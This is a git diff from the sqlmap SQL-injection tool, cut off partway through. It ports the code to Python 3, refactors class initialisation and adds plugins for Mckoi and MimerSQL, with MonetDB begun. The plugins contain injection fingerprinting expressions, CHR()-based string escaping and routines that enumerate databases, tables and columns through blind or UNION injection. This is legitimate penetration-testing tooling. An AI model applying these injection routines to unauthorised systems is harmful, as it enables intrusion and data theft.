+1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,24 +9,22 @@ from lib.core.common import isDBMSVersionAtLeast from lib.core.common import randomStr +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Backend.setVersion('12.10') ['12.10'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True """ def escaper(value): - return "||".join("CHR(%d)" % ord(_) for _ in value) + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) retVal = expression diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index ca204b03495..7c19fd8799c 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 77e9c5a2556..fbf06a37e08 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take def __init__(self): self.excludeDbsList = MAXDB_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MAXDB] = Syntax.escape diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index dd8f76a3a66..73b8864d24d 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - def __init__(self): - GenericConnector.__init__(self) - def connect(self): errMsg = "on SAP MaxDB it is not (currently) possible to establish a " errMsg += "direct connection" diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index bdfa96f5fd8..ab791f6e74c 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,10 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import re + +from lib.core.common import isListLike +from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming @@ -14,6 +18,7 @@ from lib.core.data import paths from lib.core.data import queries from lib.core.enums import DBMS +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException @@ -21,6 +26,8 @@ from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six +from thirdparty.six.moves import zip as _zip class Enumeration(GenericEnumeration): def __init__(self): @@ -30,7 +37,7 @@ def __init__(self): def getPasswordHashes(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} @@ -46,7 +53,7 @@ def getDbs(self): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True) if retVal: - kb.data.cachedDbs = retVal[0].values()[0] + kb.data.cachedDbs = next(six.itervalues(retVal[0])) if kb.data.cachedDbs: kb.data.cachedDbs.sort() @@ -71,17 +78,18 @@ def getTables(self, bruteForce=None): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MAXDB].tables for db in dbs: query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True) + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=blind) if retVal: - for table in retVal[0].values()[0]: + for table in list(retVal[0].values())[0]: if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: @@ -100,7 +108,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -118,7 +126,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colList = [] if conf.exclude: - colList = [_ for _ in colList if _ not in conf.exclude.split(',')] + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) @@ -129,9 +137,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod self.getTables() if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() + tblList = list(kb.data.cachedTables.values()) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " @@ -199,14 +207,16 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=blind) if retVal: table = {} columns = {} - for columnname, datatype, length in zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): + for columnname, datatype, length in _zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns @@ -214,16 +224,22 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def search(self): warnMsg = "on SAP MaxDB search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on SAP MaxDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 45fb2040c47..04f14201059 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,13 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on SAP MaxDB reading of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SAP MaxDB writing of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 4875a6e8bea..53c27d55b9d 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import Format +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -33,7 +34,7 @@ def _versionCheck(self): if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return None @@ -111,7 +112,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -122,7 +123,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index c950f106474..17a0a02c257 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - "SELECT 'abcdefgh' FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True """ return expression diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index d3f2172e3bd..e93813f99ea 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py new file mode 100644 index 00000000000..eafd1d3c868 --- /dev/null +++ b/plugins/dbms/mckoi/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MCKOI_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.mckoi.enumeration import Enumeration +from plugins.dbms.mckoi.filesystem import Filesystem +from plugins.dbms.mckoi.fingerprint import Fingerprint +from plugins.dbms.mckoi.syntax import Syntax +from plugins.dbms.mckoi.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MckoiMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Mckoi methods + """ + + def __init__(self): + self.excludeDbsList = MCKOI_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MCKOI] = Syntax.escape diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py new file mode 100644 index 00000000000..fe9093e7b99 --- /dev/null +++ b/plugins/dbms/mckoi/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Mckoi it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py new file mode 100644 index 00000000000..9ccc431eaa4 --- /dev/null +++ b/plugins/dbms/mckoi/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Mckoi it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on Mckoi it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on Mckoi it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Mckoi it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Mckoi it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Mckoi it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Mckoi it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on Mckoi it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on Mckoi it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Mckoi it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Mckoi it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Mckoi search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on Mckoi it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Mckoi it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py new file mode 100644 index 00000000000..66d946579f4 --- /dev/null +++ b/plugins/dbms/mckoi/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Mckoi it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Mckoi it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py new file mode 100644 index 00000000000..312f3e3c16f --- /dev/null +++ b/plugins/dbms/mckoi/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MCKOI_DEFAULT_SCHEMA +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MCKOI) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MCKOI + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MCKOI_ALIASES): + setDbms(DBMS.MCKOI) + return True + + infoMsg = "testing %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DATEOB()>=DATEOB(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ABS(1/0)>ABS(0/1)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MCKOI) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = MCKOI_DEFAULT_SCHEMA diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/mckoi/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py new file mode 100644 index 00000000000..d22277b674d --- /dev/null +++ b/plugins/dbms/mckoi/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py new file mode 100644 index 00000000000..af8f2232ea5 --- /dev/null +++ b/plugins/dbms/mimersql/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MIMERSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.mimersql.enumeration import Enumeration +from plugins.dbms.mimersql.filesystem import Filesystem +from plugins.dbms.mimersql.fingerprint import Fingerprint +from plugins.dbms.mimersql.syntax import Syntax +from plugins.dbms.mimersql.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MimerSQL methods + """ + + def __init__(self): + self.excludeDbsList = MIMERSQL_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MIMERSQL] = Syntax.escape diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py new file mode 100644 index 00000000000..e6bcced6b96 --- /dev/null +++ b/plugins/dbms/mimersql/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import mimerpy +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/mimersql/MimerPy + User guide: https://github.com/mimersql/MimerPy/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except mimerpy.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except mimerpy.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (mimerpy.OperationalError, mimerpy.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except mimerpy.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py new file mode 100644 index 00000000000..85ea9c93f28 --- /dev/null +++ b/plugins/dbms/mimersql/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MimerSQL it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MimerSQL it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on MimerSQL it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MimerSQL it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/mimersql/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py new file mode 100644 index 00000000000..3372a8fe7b0 --- /dev/null +++ b/plugins/dbms/mimersql/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MIMERSQL_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MIMERSQL) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MIMERSQL + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MIMERSQL_ALIASES): + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IRAND() IS NOT NULL") + + if result: + infoMsg = "confirming %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("PASTE('[RANDSTR1]',0,0,'[RANDSTR2]')='[RANDSTR2][RANDSTR1]'") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py new file mode 100644 index 00000000000..8257c9af870 --- /dev/null +++ b/plugins/dbms/mimersql/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT UNICODE_CHAR(97)||UNICODE_CHAR(98)||UNICODE_CHAR(99)||UNICODE_CHAR(100)||UNICODE_CHAR(101)||UNICODE_CHAR(102)||UNICODE_CHAR(103)||UNICODE_CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("UNICODE_CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py new file mode 100644 index 00000000000..7055371b8c5 --- /dev/null +++ b/plugins/dbms/mimersql/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py new file mode 100644 index 00000000000..200b23b290f --- /dev/null +++ b/plugins/dbms/monetdb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright 